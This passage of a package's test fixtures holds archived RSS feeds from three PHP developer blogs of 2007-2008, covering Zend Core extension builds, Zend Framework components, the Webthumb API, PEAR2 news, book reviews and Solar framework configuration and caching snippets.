/usr/local/Zend/Core/bin/phpize<br /> $ ./configure --with-pdo-sqlite --with-php-config=/usr/local/Zend/Core/bin/php-config<br /> $ make<br /> $ make install<br /> </code><br /> <br /> Note, when doing this process chances are you will have to compile custom version of <b>all</b> PDO-related extensions for compatibility reasons. Once you have everything compiled you can enable the extensions in PHP by modifying the php.ini file (don't forget to restart the server afterwards!). Assuming everything worked as planned, you should be able to see the extension's information within phpinfo() and the Zend Core GUI will show the extension in the extension list (although you will not be able to control it, etc as you would a standard supported extension).<br /> <br /> Hope this helps! Coggeshall.org nospam@example.com (John Coggeshall) Zend, 2008-01-08T02:15:37Z http://blog.coggeshall.org/wfwcomment.php?cid=347 5 http://blog.coggeshall.org/rss.php?version=1.0&type=comments&cid=347 Merry Christmas! http://blog.coggeshall.org/archives/346-Merry-Christmas!.html Merry Christmas everyone! I hope all of you have an opportunity to relax, spend time with your loved ones, and enjoy the holiday!! Coggeshall.org nospam@example.com (John Coggeshall) 2007-12-26T00:18:58Z http://blog.coggeshall.org/wfwcomment.php?cid=346 0 http://blog.coggeshall.org/rss.php?version=1.0&type=comments&cid=346 Lighten up your day http://blog.coggeshall.org/archives/345-Lighten-up-your-day.html Here is a little video to lighten up your day. A co-worker of mine sent me the link, and I just had to share it some more!<br /> <br /> <center><br /> <object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/fi4fzvQ6I-o&rel=1"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/fi4fzvQ6I-o&rel=1" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"></embed></object><br /> </center><br /> Coggeshall.org nospam@example.com (John Coggeshall) 2007-12-11T22:31:43Z http://blog.coggeshall.org/wfwcomment.php?cid=345 0 http://blog.coggeshall.org/rss.php?version=1.0&type=comments&cid=345 Zend_Service_SlideShare approved http://blog.coggeshall.org/archives/344-Zend_Service_SlideShare-approved.html Today I received an e-mail informing me that my <a href="http://framework.zend.com/wiki/display/ZFPROP/Zend_Service_SlideShare">proposal</a> for the Zend_Service_SlideShare component was accepted into the Zend Framework incubator. Woo hoo!<br /> <br /> What's the component? If you haven't seen it before, <a href="http://www.slideshare.net/">Slideshare.net</a> is an excellent site for hosting various Powerpoint slide shows for public consumption (think <a href="http://www.youtube.com/">YouTube</a> for slide shows). I wrote the component during the my site redesign to host my various slide shows which can be found in the <a href="http://www.coggeshall.org/resources/">resources section</a>. <br /> <br /> While it is not <i>quite</i> complete (everything but uploading slide shows is there), you can check out the source code by pointing your SVN to the <a href="http://framework.zend.com/svn/framework/trunk">Zend Framework Repository</a>. Please use the Zend Framework <a href="http://framework.zend.com/issues/secure/Dashboard.jspa">bug tracking system</a> if you find bugs. Coggeshall.org nospam@example.com (John Coggeshall) Framework, 2007-12-11T03:39:12Z http://blog.coggeshall.org/wfwcomment.php?cid=344 3 http://blog.coggeshall.org/rss.php?version=1.0&type=comments&cid=344 The Microsoft Trojan Horse? http://blog.coggeshall.org/archives/343-The-Microsoft-Trojan-Horse.html Recently I've had Microsoft on my radar a lot, mostly because I'm wrapping up development of the <a href="http://framework.zend.com/wiki/display/ZFPROP/Zend_CardSpace">Zend_InfoCard</a> component for Zend Framework, but also because everyone has been talking about the recent release of the FastCGI support in IIS. <br /> <br /> Wonderful, now I can also run PHP in a reasonable fashion on IIS -- that's good for everyone right? <br /> <br /> I'm not so sure, to be honest. I mean let's face it there is competition out there for the web. A company like Microsoft would be simply neglectful if they didn't do everything in their power to sway, control, and if at all possible dominate this space right? Over the years when it came to public-facing web development PHP has been without a doubt been the leader, but why? I think it has a lot more to do with the fact that Microsoft didn't have a reasonable platform for their web development technologies then it had to do with PHP just being better.. <br /> <br /> <br /><a href="http://blog.coggeshall.org/archives/343-The-Microsoft-Trojan-Horse.html#extended">Continue reading "The Microsoft Trojan Horse?"</a> Coggeshall.org nospam@example.com (John Coggeshall) PHP, 2007-11-30T05:09:58Z http://blog.coggeshall.org/wfwcomment.php?cid=343 8 http://blog.coggeshall.org/rss.php?version=1.0&type=comments&cid=343 Train at Zend! http://blog.coggeshall.org/archives/342-Train-at-Zend!.html Zend needs, pretty much immediately, a part-time trainer who can do online trainings periodically (generally in two hour blocks starting either at 11am or 2pm EST). Must be able to speak intelligently and authoratively on various PHP subjects you know and have the time to learn any subjects being taught you might be lacking in.<br /> <br /> If you think you can fit the bill, e-mail me: john at zend dot com. Coggeshall.org nospam@example.com (John Coggeshall) 2007-11-28T01:15:02Z http://blog.coggeshall.org/wfwcomment.php?cid=342 0 http://blog.coggeshall.org/rss.php?version=1.0&type=comments&cid=342 Making your boss like you more.. http://blog.coggeshall.org/archives/341-Making-your-boss-like-you-more...html I've seen this about a million times at various clients working in the services business, so I thought I might take a moment to mention it on my blog -- perhaps someone will find it valuable. From where I stand, there is a huge portion of the development community in general (not only PHP really either) that seem to think their job is nothing more then to write code without consideration for anything else in the organization. <br /> <br /> Guess what? Your boss doesn't care how awesome your code is, or how slick your super-duper AJAX auto-complete wiz-bang thing is if you write something which doesn't support the business needs of the company.<br /> <br /> Here are some of the classic blunders I've seen:<br /> <br /> * Spending two days refactoring a piece of code which not only were they not asked to refactor, but it was working just fine before (no, the fact it was ugly is NOT always a good enough reason to refactor)<br /> <br /> * Trying to be the developer version of Vincent Van Gogh -- code <u>can be</u> art, but it is <u>always</u> a means to solve a real business need. Over-architecture doesn't make you look cool, it makes you look like an idiot when the next guy shows you how to solve the same business need in 30 lines of code instead of 400.<br /> <br /> * Not understanding you are responsible for your own time lines. I don't care if you have a project manager or not working in the group -- ultimately at the end of the day as the guy writing the code if you say it's going to take 3 weeks to develop something and it takes you 3 months that is entirely your problem. What does that mean? It means when your boss comes over and constantly changes the scope or features of what you are trying to build if you don't push back and make him decide between getting the project done in 3 weeks or his feature that's your fault.<br /> <br /> * Know your business - its amazing how many developers are out there writing code without having any idea what-so-ever why they heck they are getting paid to write it. If you can't speak intelligently about the business your company is in and why your application is going to benefit that business for at least 30 minutes then you aren't being a very good developer. We all sometimes like to imagine that the world revolves around us, but let's face it -- you're working in a company and that company is trying to do something which you probably should understand before you try to write the code to do it.<br /> <br /> I'm sure there are more if I had more time, but that's good enough for now. Bottom line: Code is not the most important thing in business, even though it might be in OSS. If you want to be a successful professional OSS developer you need to understand both and react accordingly!<br /> <br /> Coggeshall.org nospam@example.com (John Coggeshall) PHP, 2007-11-19T22:45:51Z http://blog.coggeshall.org/wfwcomment.php?cid=341 4 http://blog.coggeshall.org/rss.php?version=1.0&type=comments&cid=341 Hey Planet PHP! http://blog.coggeshall.org/archives/340-Hey-Planet-PHP!.html Hey <a href="http://www.planet-php.net/">Planet PHP</a>! I sent an e-mail and used your form on the site but I still don't see my blog back on the blog roll... Did I do something to upset the syndication Gods?<br /> Coggeshall.org nospam@example.com (John Coggeshall) 2007-11-16T23:09:07Z http://blog.coggeshall.org/wfwcomment.php?cid=340 1 http://blog.coggeshall.org/rss.php?version=1.0&type=comments&cid=340 Alan has smoked too much PHP http://blog.coggeshall.org/archives/337-Alan-has-smoked-too-much-PHP.html Alan, I think you were smoking way too much PHP when you wrote <a href="http://www.akbkhome.com/blog.php/View/155/PHPs_days_numbered.html">this post</a>.. This in particular really surprised me to hear you say:<br /> <br /> <blockquote><br /> "...if there was an apache module that did mysql stored procedure calls based on the request URL, and returned JSON, I suspect PHP would be practically obsolite....."<br /> </blockquote><br /> <br /> While I do understand the concept your explaining, I simply can't see how the model is practical at all for two big reasons:<br /> <br /> <b>Reason 1:</b> Businesses will never build applications designed to make money when the entire application is transmitted open-source to any client which requests it.<br /> <br /> <b>Reason 2:</b> Without a server-side language such as PHP, there is not a viable security model. Javascript data validation is a half-measure at best, and do you honestly believe that it makes sense to use stored procedures written in SQL to scrub data?<br /> <br /> While I think Alan really did go a bit off the deep end, he has touched on a pretty interesting point though. While I can't see the server-side ever going away I do think that in the near future the development model will change from what it is today to a completely event-based model based on a json-powered message bus between the client and server. IBM's <a href="http://services.alphaworks.ibm.com/qedwiki/">QEDWiki</a> uses <a href="http://framework.zend.com/">Zend Framework</a> to create such a bus and I have to say it's a very impressive architecture. The idea that PHP programming will for a lot of people resemble Visual Basic is really a lot closer then a lot of people might think.<br /> <br /> Coggeshall.org nospam@example.com (John Coggeshall) Framework, PHP, 2007-11-16T00:16:55Z http://blog.coggeshall.org/wfwcomment.php?cid=337 3 http://blog.coggeshall.org/rss.php?version=1.0&type=comments&cid=337 Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-blog.joshuaeichorn.com-feed-0000664000175000017500000004142512653701626026236 0ustar janjan There and Back Again http://blog.joshuaeichorn.com The weblog of Joshua Eichorn, AJAX, PHP and Open Source Thu, 10 Jul 2008 23:28:49 +0000 http://wordpress.org/?v=2.6.1-alpha en Webthumb API Ruby Gem http://blog.joshuaeichorn.com/archives/2008/07/10/webthumb-api-ruby-gem/ http://blog.joshuaeichorn.com/archives/2008/07/10/webthumb-api-ruby-gem/#comments Thu, 10 Jul 2008 16:59:48 +0000 Joshua Eichorn http://blog.joshuaeichorn.com/?p=338 Thanks to simplificator there is now a Ruby gem for using the Webthumb API.

Announcement and installation instructions
Readme

]]> http://blog.joshuaeichorn.com/archives/2008/07/10/webthumb-api-ruby-gem/feed/ Videothumb addon to Webthumb is alpha http://blog.joshuaeichorn.com/archives/2008/07/08/videothumb-addon-to-webthumb-is-alpha/ http://blog.joshuaeichorn.com/archives/2008/07/08/videothumb-addon-to-webthumb-is-alpha/#comments Wed, 09 Jul 2008 00:39:31 +0000 Joshua Eichorn http://blog.joshuaeichorn.com/?p=337 Its new feature time for webthumb again. Today i’m making the alpha release of video thumb.

Videothumb gives you the option of getting back a thumbnail of the video on a given url instead of that page. So if you thumbnail Simon’s Cat ‘Cat Man Do’ you can get
Videothumb thumbnail
instead of
Standard Webthumb thumbnail.

Videothumb gives you a thumbnail from the beginning of the movie (this may change) one from 1 second and one from 5 seconds, and all the normal sizes made from the first first frame snapshot.

To enable videothumb for your requests just add a videothumb tag to yours requests like:


<webthumb>
	<apikey>key here</apikey>
	<request>
		<url>http://www.youtube.com/watch?v=w0ffwDYo00Q</url>
                <videothumb>1</videothumb>
	</request>
</webthumb>

If a supported video url isn’t detected a normal thumbnail will be created, so you can easily enable videothumb for all your requests.

Videothumb currently only works with youtube but I will be adding support for a bunch of other sites over the next couple days.

Currently videothumb is only available as an addon to webthumb, but may be made available as a separate api with additional features if there is demand.

]]> http://blog.joshuaeichorn.com/archives/2008/07/08/videothumb-addon-to-webthumb-is-alpha/feed/ Everything is back up http://blog.joshuaeichorn.com/archives/2008/06/26/everything-is-back-up/ http://blog.joshuaeichorn.com/archives/2008/06/26/everything-is-back-up/#comments Thu, 26 Jun 2008 18:07:59 +0000 Joshua Eichorn http://blog.joshuaeichorn.com/?p=336 The server is back up DNS should be updated for most things. Send me email jeichorn at gmail.com and josh@bluga.net if your still having any problems.

]]> http://blog.joshuaeichorn.com/archives/2008/06/26/everything-is-back-up/feed/ Server Outage Today http://blog.joshuaeichorn.com/archives/2008/06/25/server-outage-today/ http://blog.joshuaeichorn.com/archives/2008/06/25/server-outage-today/#comments Wed, 25 Jun 2008 20:21:40 +0000 Joshua Eichorn http://blog.joshuaeichorn.com/?p=335 There will be a server outage today starting around 6:30pm Arizona Time

The servers will be getting new IPs during this time so assuming we don’t run into DNS problems everything should be back up in around 2 hours.

I will twitter the status of the outage since this blog will be down too.

Services affected include:

  • Webthumb
  • svn.pear.php.net
  • phpdoc.org
  • this blog
  • My other random sites

If you are a webthumb customer and have any concerns email me at jeichorn at gmail.com
Hopefully I will have an alternate endpoint up during the outage, but I just heard about the data center problems 15 minutes ago so I’m not sure if i will get it up in time.

]]> http://blog.joshuaeichorn.com/archives/2008/06/25/server-outage-today/feed/ New code in PEAR2 http://blog.joshuaeichorn.com/archives/2008/06/09/new-code-in-pear2/ http://blog.joshuaeichorn.com/archives/2008/06/09/new-code-in-pear2/#comments Tue, 10 Jun 2008 00:11:42 +0000 Joshua Eichorn http://blog.joshuaeichorn.com/?p=334 I got to setup 3 new projects in the PEAR2 sandbox today

Not really what I expected to be the first round of new code, but its nice to be setting up access for people. Oh and remember PEAR2 is targeted at php 5.3 but not everything is namespaced yet since not everyone wants to run snapshots of php for development.

Oh and PEAR Elections are open, 7 people ran for 7 spots so its not all that exciting, but you should vote anyway.

]]> http://blog.joshuaeichorn.com/archives/2008/06/09/new-code-in-pear2/feed/ Tracking PEAR2 Work http://blog.joshuaeichorn.com/archives/2008/05/19/tracking-pear2-work/ http://blog.joshuaeichorn.com/archives/2008/05/19/tracking-pear2-work/#comments Tue, 20 May 2008 04:16:50 +0000 Joshua Eichorn http://blog.joshuaeichorn.com/?p=333 I don’t have PEAR2 svn commits going to the pear-cvs list but until that is working there are 2 ways you can track the work going on (and I think better ways).

  1. Fancy HTML Commit emails
  2. Twitter

And yes 2 blog posts in one evening is scaring me too.

]]> http://blog.joshuaeichorn.com/archives/2008/05/19/tracking-pear2-work/feed/ Heading off to php|Tek http://blog.joshuaeichorn.com/archives/2008/05/19/heading-off-to-phptek/ http://blog.joshuaeichorn.com/archives/2008/05/19/heading-off-to-phptek/#comments Tue, 20 May 2008 04:13:56 +0000 Joshua Eichorn http://blog.joshuaeichorn.com/?p=332 I’m heading off to php|tek tomorrow. I’ll be giving 2 talks I hope to see you all there. I hope my slides are complete as well :-).

]]> http://blog.joshuaeichorn.com/archives/2008/05/19/heading-off-to-phptek/feed/ 2 Million Webthumbs http://blog.joshuaeichorn.com/archives/2008/04/23/2-million-webthumbs/ http://blog.joshuaeichorn.com/archives/2008/04/23/2-million-webthumbs/#comments Wed, 23 Apr 2008 15:59:18 +0000 Joshua Eichorn http://blog.joshuaeichorn.com/?p=331 Webthumb generated my 2 millionth web page thumbnail yesterday.

My first million took 564 days
This second million has taken 84 days

:-)

]]> http://blog.joshuaeichorn.com/archives/2008/04/23/2-million-webthumbs/feed/ Upgraded to Wordpress 2.5 http://blog.joshuaeichorn.com/archives/2008/03/31/upgraded-to-wordpress-25/ http://blog.joshuaeichorn.com/archives/2008/03/31/upgraded-to-wordpress-25/#comments Mon, 31 Mar 2008 21:26:18 +0000 Joshua Eichorn http://blog.joshuaeichorn.com/?p=329 I just upgraded to Wordpress 2.5. I don’t think i like the new admin theme, too much change.

If you see something broken please let me know.

]]> http://blog.joshuaeichorn.com/archives/2008/03/31/upgraded-to-wordpress-25/feed/ Re-aranging keys http://blog.joshuaeichorn.com/archives/2008/03/19/re-aranging-keys/ http://blog.joshuaeichorn.com/archives/2008/03/19/re-aranging-keys/#comments Thu, 20 Mar 2008 04:56:02 +0000 Joshua Eichorn http://blog.joshuaeichorn.com/archives/2008/03/19/re-aranging-keys/ Having fun with my new camera :-)

Josh

(Yes I used WebThumb to take the snapshot)


<webthumb>
	<apikey>keyhere</apikey>
	<request>
		<url>http://flickr.com/photos/joshuaeichorn/sets/72157604167994594</url>
		<outputtype>png</outputtype>
		<width>1024</width><!-- browser width -->
		<height>768</height><!-- browser height -->
		<excerpt>
			<x>420</x>
			<y>180</y>
			<height>80</height>
			<width>350</width>
		</excerpt>
	</request>
</webthumb>
]]> http://blog.joshuaeichorn.com/archives/2008/03/19/re-aranging-keys/feed/ Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-blog.phpdeveloper.org-%2Ffeed=rss20000664000175000017500000011267312653701626027176 0ustar janjan blog.phpdeveloper.org http://blog.phpdeveloper.org The Official Blog of PHPDeveloper.org Wed, 25 Jun 2008 02:22:07 +0000 http://wordpress.org/?v=2.5.1 en Ivo Jansch’s “Guide to Enterprise PHP Development” http://blog.phpdeveloper.org/?p=105 http://blog.phpdeveloper.org/?p=105#comments Wed, 25 Jun 2008 02:21:20 +0000 enygma http://blog.phpdeveloper.org/?p=105 I’ve been working through this book for the past few days and let me just say from the get-go, this book would be any asset to pretty much anyone on the PHP development food chain. It’s not a book for programmers telling you how to survive in an enterprise environment (there’s some of that, but that’s not the focus). The book gives the reader one of the most valuable things anyone in a corporate environment can have - how it all works. It might not be 100% the same as things around your office, but Ivo does a great job of giving everyone involved in the development of web apps (and it doesn’t have to be PHP!) a better idea of how all the pieces fit together.

The flow of the book follows a typical project flow with topics like:

  • Gathering requirements
  • the Planning stages
  • which of your Building Blocks you’ll need to get the job done
  • Developing the application
  • Pushing it out to the public and keeping it maintained for its users

For each, there’s lots of great tips crammed in with suggestions and recommendations based on some of his previous experiences.

There’s little to no code in the book, so don’t buy it expecting tutorials on writing code in an enterprise environment. What you will find here, though, is a better idea of where that code you’re writing will fit in the bigger picture.

Let me also reinforce that this book is not just for developers. Honestly, anyone involved with the creation of web-based applications can benefit from it. Managers, developers and testers will all find bits in here that they can pick up and hang on to for current and future projects.

I also like that he included the part there at the end about the different development methodologies. It’s a nice addition that can help open up the reader/developer’s eyes to new ways of doing things (Agile is especially fun).

I’d definitely recommend that you pick up this book if you’re going to be doing development in anything more than a one man shop. Actually, strike that - I’d recommend it for anyone that wants to get more familiar with the management side of development and how their code works in.

More information: php|architect’s Guide to Enterprise PHP Development

]]> http://blog.phpdeveloper.org/?feed=rss2&p=105 Subdomain Setup with Solar http://blog.phpdeveloper.org/?p=104 http://blog.phpdeveloper.org/?p=104#comments Sat, 21 Jun 2008 11:38:12 +0000 enygma http://blog.phpdeveloper.org/?p=104 So here was my situation - I wanted to have a subdomain off of my main site, but I didn't want to have to create a whole new docroot with an entire new Solar framework application in it. Besides being "yet another install" of the same sort of thing, it would also be a pain to keep up more than one codebase that does a lot of the same things.

This got me to thinking that there had to be a way to convince Solar that it could use the same code with the subdomain without issue. Sure enough, it could - and it was actually really easy. Here's my situation:

I wanted to have the main domain's stuff still work (www.mydomain.com) just like it always has but I wanted the subdomain to point to one controller out of the main application (in this case, the Solar_App_Foo controller) when the subdomain was called (foo.mydomain.com). Solar makes it dead simple - it's just a change in your config file.

Since it's PHP driven, you can do fun things like checking to see what the value of $_SERVER['HTTP_HOST'] is right there in the definition:

PLAIN TEXT
CODE:
  1. $act=($_SERVER['HTTP_HOST']=='foo.mydomain.com') ? 'foo' : 'index';
  2. $config['Solar_Controller_Front']['default']=$act

That's all there is to it - the ternary check looks for the subdomain and sets the default controller to our Solar_App_Foo instead of the Index the rest of the site calls. And, since it's just part of the same site, all of the links and other functionality work just fine. Plus no extra code to maintain!

Hope this helps to anyone else out there trying to work with subdomains with Solar. Thanks to the crew in #solarphp on Freenode for the help!

]]> http://blog.phpdeveloper.org/?feed=rss2&p=104 Enterprise PHP (the Magazine) http://blog.phpdeveloper.org/?p=102 http://blog.phpdeveloper.org/?p=102#comments Sun, 01 Jun 2008 18:53:21 +0000 enygma http://blog.phpdeveloper.org/?p=102 Opening my mailbox yesterday welcomed me with a brown paper envelope addresses to "Herr Cornutt" and postmarked. I was confused since I wasn't expecting any bit of German to be coming my way. I was happily surprised, though, when I opened it to find the free issue of Enterprise PHP, one of the newest offerings into the PHP magazine category.

The publication is from the IT Republik folks and is a nice looking magazine. It comes in at about 50 pages but it has a good ad to story ratio so you don't feel slighted. Stories include:

  • Test 'em all! (by Sebastian Bergmann)
  • Worlds apart... (by Patrick Lobacher covering PHP intagration and SAP systems)
  • an interview with Jens Paul Berndt about decisions regarding PHP
  • a case study of the Fiat Group SpA's use of PHP in their systems
  • and the cover story, "Java is not PHP"

The quality of the articles if good - it's interesting to see their use of so much clip art as illustrations. I suppose its due to the different audience than some of the other magazines. It's less about the development and more about the high-level thoughts and processes behind PHP in business - how it can function in their corporation (or small business!) and what sorts of considerations need to be made. The articles are good quality and keep consistent with the tone of the magazine. The quality of the printing is nice too (always a plus) and the thicker pages make the "enterpriseness" of it all feel even better.

Oh, and let's not forget about two articles by Cal Evans of the Zend Developer Zone! One covers several of the popular PHP frameworks and the other about how PHP security has advanced in the past few years.

If you get a chance and want to check out something a bit different in PHP Magazines, head over and grab a trial issue of this newest addition to the PHP publication world. Here's hoping we'll see great things from them!

]]> http://blog.phpdeveloper.org/?feed=rss2&p=102 Simple Content Management (with Templates & Permissions) http://blog.phpdeveloper.org/?p=101 http://blog.phpdeveloper.org/?p=101#comments Sat, 31 May 2008 00:47:18 +0000 enygma http://blog.phpdeveloper.org/?p=101 I've been working on a sort-of content management system at work and I wanted to get some opinions on the structure of it. Here's the basic summary:

I have a database table that keeps the content for me (title, content, date stamp, etc) - each item has a type. My goal was to have a system that would be flexible and allow me to store both hierarchal and date sorted information easily and all in one place. I set out with the intent to make it something I could potentially use for simple blogs, forums and even static content like FAQs.

Basically, everything is a child of something - there's a starting point (the top parent) and all of the children from there down. Since it's on Oracle, CONNECT BY is my best friend. I can point it at a parent and get back a recursive array of the values. So, if our top level was "blog" then its children might each be a "blogentry" with each of those having a collection of "blogcomment" content blocks.

You can see how the same sort of thing could apply itself to a forum layout (remarkably similar, actually). Parent/child all the way down, allowing for any number of nested levels of categories and topics.

Now comes the fun part - the PHP code.

I'm not quite done working all of the kinks out of it yet, but it's close. Here's the though process behind it, though. A fetch() function is called on the top-most parent to get it and its children's data. This is passed to a display() call to be handled. Inside of the display() call is a bit of logic that starts looking at the types of the data. The TYPE column in our table is really the key to how the whole system works. The display() logic looks at the type of the first item of data passed in and loads in a Helper from a predefined directory (include_once, of course). These are named according to the type they help with - so HelperBlog helps with type "blog", HelperBlogentry helps with "blogentry", etc. These are loaded, a new object is made and the display() method is called on it.

The children are passed in to this method where, if the child class (HelperBlog or whatever) chooses, they can be iterated over. The fun thing is that since the class extends our main class (in my case DynContent), we can just call the parent::display() method with the child data and it will recurse down through each of the layers.

There's more to it than just this (templating, permissions, etc) that I'm still working on, but it seems like it has potential. I'm curious as to if anyone else out there has approached this kind of idea in a similar way. I'd love to hear feedback/comments/whatever about the idea from anyone out there.

I don't have the code posted anywhere yet, but if you have an interest let me know in the comments.

]]> http://blog.phpdeveloper.org/?feed=rss2&p=101 Book Review: Beginning PHP and Oracle (Apress) http://blog.phpdeveloper.org/?p=100 http://blog.phpdeveloper.org/?p=100#comments Tue, 13 May 2008 19:54:04 +0000 enygma http://blog.phpdeveloper.org/?p=100 The nice friendly people over at APress sent me a few new books the other day, one of which is "Beginning PHP and Oracle: From Novice to Professional" by W. Jason Gilmore and Bob Bryla. Of the three, I was most interested in this one as a possible resource to hand off to other people in our company (the Oracle developers, specifically) for them to get started with PHP. Thankfully I can say that, after going through the book, it looks like an excellent fill to bridge the gap between most Oracle developers and the world of PHP.

If you're a PHP developer, pick up your copy of the book and follow my lead - set the book, spine down, on the table and stick your finger right in the middle. To your left is all of the PHP knowledge you've already learned and to your right is a wide open range of Oracle goodness just waiting for you to soak it all in. The first half of the book is an excellent introduction to PHP and can be handed to that special Oracle developer in your life who would like to get to know the language. The usual topics are there - the basic syntax, functions, arrays, object oriented programming, PEAR and lots more. If you're just going in for the Oracle/PHP combo, you'll find a lot more than you were asking for (which can be good and bad).

Things switch around at about the Chapter 26 mark where the first hints of Oracle start to show. This is where a lot of the Oracle developers out there can tune out a little more. The first few Oracle chapters deal with setting up and getting to know the Oracle environment, how to use views and transactions. Things get interesting when PHP jumps back in, though. PHP and Oracle developers alike can learn lots here.

Starting from Chapter 32 on, the rest of the book is devoted to the happy union of PHP making requests via the Oracle drivers to a local database (they use a local copy of Oracle Database XE in their examples). They include examples using transactions, generating a table of results with PEAR's HTML_Table and using views and triggers in your application.

This book works well for both audiences - the PHP developer wanting to learn what all the fuss surrounding Oracle is about and the Oracle developer looking for a peek into the world of the web's most popular web development language. There's a little something here for everyone (there's even a chapter on web services!) and it will be finding its way to the desks of several Oracle devs around here that have been bugging me to show them "that PHP thing" they've been hearing about.

Something a little more substantial - the Table of Contents:

  • Chapter 1 Introducing PHP
  • Chapter 2 Configuring Your Environment
  • Chapter 3 PHP Basics
  • Chapter 4 Functions
  • Chapter 5 Arrays
  • Chapter 6 Object-Oriented PHP
  • Chapter 7 Advanced OOP Features
  • Chapter 8 Error and Exception Handling
  • Chapter 9 Strings and Regular Expressions
  • Chapter 10 Working with the File and Operating System
  • Chapter 11 PEAR
  • Chapter 12 Date and Time
  • Chapter 13 Forms
  • Chapter 14 Authentication
  • Chapter 15 Handling File Uploads
  • Chapter 16 Networking
  • Chapter 17 PHP and LDAP
  • Chapter 18 Session Handlers
  • Chapter 19 Templating with Smarty
  • Chapter 20 Web Services
  • Chapter 21 Secure PHP Programming
  • Chapter 22 SQLite
  • Chapter 23 Introducing PDO
  • Chapter 24 Building Web Sites for the World
  • Chapter 25 MVC and the Zend Framework
  • Chapter 26 Introducing Oracle
  • Chapter 27 Installing and Configuring Oracle Database XE
  • Chapter 28 Oracle Database XE Administration
  • Chapter 29 Interacting with Oracle Database XE
  • Chapter 30 From Databases to Datatypes
  • Chapter 31 Securing Oracle Database XE
  • Chapter 32 PHP’s Oracle Functionality
  • Chapter 33 Transactions
  • Chapter 34 Using HTML_Table with Advanced Queries
  • Chapter 35 Using Views
  • Chapter 36 Oracle PL/SQL Subprograms
  • Chapter 37 Oracle Triggers
  • Chapter 38 Indexes and Optimizing Techniques
  • Chapter 39 Importing and Exporting Data
  • Chapter 40 Backup and Recovery
]]> http://blog.phpdeveloper.org/?feed=rss2&p=100 Deploying PHP Applications? http://blog.phpdeveloper.org/?p=99 http://blog.phpdeveloper.org/?p=99#comments Mon, 12 May 2008 20:35:28 +0000 enygma http://blog.phpdeveloper.org/?p=99 rsync to production push and a fully [...]]]> So, a question for everyone out there - we're looking to do a bit of an overhaul for our build and release system and I was wondering what kind of setups you all out there had for your releases?

I've seen all sorts of different things (including a version control->rsync to production push and a fully CruiseControled push for everything) but I wanted to hear back from you fellow PHPers out there as to the kind of stuff you're using. We're looking to try to keep it open sourceish stuff, so suggestions down that line would be best but we're pretty open.

I don't have much experience with a more formalized build process but we're coming up against a need to separate out the responsibilities a bit more.

What do you use for your build (and deployment) process for your PHP applications and websites?

]]> http://blog.phpdeveloper.org/?feed=rss2&p=99 Keep PHP Alive! Grow a Beard! http://blog.phpdeveloper.org/?p=98 http://blog.phpdeveloper.org/?p=98#comments Thu, 01 May 2008 16:42:10 +0000 enygma http://blog.phpdeveloper.org/?p=98 Apparently, beards and programming languages have a direct correlation with each other, at least according to Tamir Khason. His latest list (a "take two" from this older post) reinforces the idea, pointing out lots of different languages and the people involved. Basically, the facial hair (beard, mutton chops, goatee, soul patch, whatever) of the major players involved is an indication as to how well the programming language is doing. Language in the "No Facial Hair" crowd include F#, IronPython and Prolog while the cool cats in the "Facial Hair Everywhere" group include C, Perl, Ruby and Python.

So, where does PHP fit on the list? Well, he points to this picture of Rasmus Lerdorf as a positive indicator for our beloved language, but there just might be enough other developers out there to counteract his effect.

For example:

Though thankfully, there's one growing part of the PHP community that makes it so much better without even having to worry about the facial hair (thank goodness) - the PHP Women (coming soon to a conference near you!)

So, what's the result? Does PHP pass the "Khason Test" for survival? Could the best way to support the community possibly be to let that facial hair grow? It's too soon to tell, if you ask me - right now, though, I'd say the current follicle count is tipping in favor of PHP being around for a good long time...

(Oh, and in case you're wondering - yes, I am a little on the scruffy side myself)

]]> http://blog.phpdeveloper.org/?feed=rss2&p=98 Save your Site, Cache that Data! http://blog.phpdeveloper.org/?p=97 http://blog.phpdeveloper.org/?p=97#comments Fri, 25 Apr 2008 17:38:06 +0000 enygma http://blog.phpdeveloper.org/?p=97 One of the things that I've noticed in running PHPDeveloper.org is that the highest traffic (most of the traffic for the site, actually) is going to the RSS feed giving the latest news I've posted. When I first relaunched the site with Solar, things were fine - but only for about ten minutes. As soon as everyone's aggregators came back on and started pulling the feed, the load on my server shot straight up. Thankfully I was able to get it back down to a more manageable level with a static version before the box took a nosedive. I had to do something about it and I figured that caching the feed's information was definitely a start.

I'd never really used the Solar_Cache stuff before, but thankfully - it's super easy. I figured that the biggest bottleneck in making the feed was pulling the data from the database each time. I opened up the controller for my feed (Feed.php - I know, very creative) and added a Solar_Cache object.

You can set this stuff up in your configuration file too, but I dropped it into my controller as a quick solution.

In my _setup() call:

PLAIN TEXT
CODE:
  1. $config=array(
  2.     'adapter'=> 'Solar_Cache_Adapter_File',
  3.     'path'=> '/tmp',
  4.     'life'=> 200
  5. );
  6. $this->cache = Solar::factory('Solar_Cache', $config);

This creates a cache object in $this->cache that I can use for whatever I want. It's file caching and the results will get put in /tmp. That "200" for the life is in seconds, so it's at about three minutes right now. There's lots more options for caching besides files already built into the framework too like APC, eAccelerator, variables and XCache.

With our object made, we apply it down in our default actionIndex() wrapped around our database fetch:

PLAIN TEXT
CODE:
  1. $ret=$this->cache->fetch('feed_data');
  2. if(!$ret){
  3.    $news=$this->news->fetchNews();
  4.    $this->cache->save('feed_data',$news);
  5.    $ret=$news;
  6. }
  7. $this->news_items=$ret;

Pretty simple, really - the cache object checks to see if the data already exists and, if it does, just passes it on through to our view. If it doesn't (either that it's the first time it's being made or it has expired) it will pull the new news and push it out to the cache. The view then takes this array of values and makes a basic RSS feed out of it for all the world to see.

You wouldn't believe how much something simple like caching your feed can help on even a moderately popular site. Check out the class list for details on the other caching options.

]]> http://blog.phpdeveloper.org/?feed=rss2&p=97 Twitter Updates for 2008-04-23 http://blog.phpdeveloper.org/?p=96 http://blog.phpdeveloper.org/?p=96#comments Thu, 24 Apr 2008 03:59:59 +0000 enygma http://blog.phpdeveloper.org/?p=96
  • @ramsey: did you ever get that "too many requests" issue solved with spaz? #
  • work you damn jquery selector! i command thee! #
  • @funkatron on spaz? every time I fire it up I get that "too many API requests" message after a few seconds #
  • @funkatron @ElizabethN trying the passowrd thing first... #
  • hmm, interesting - an onclick on an anchor and an onclick on a div firing at the same time #
  • @jeichorn nice! #
  • @ElizabethN heh...me too...wonder what it was #
  • okay, this cough is officially getting old #
  • grr....slow people-- #
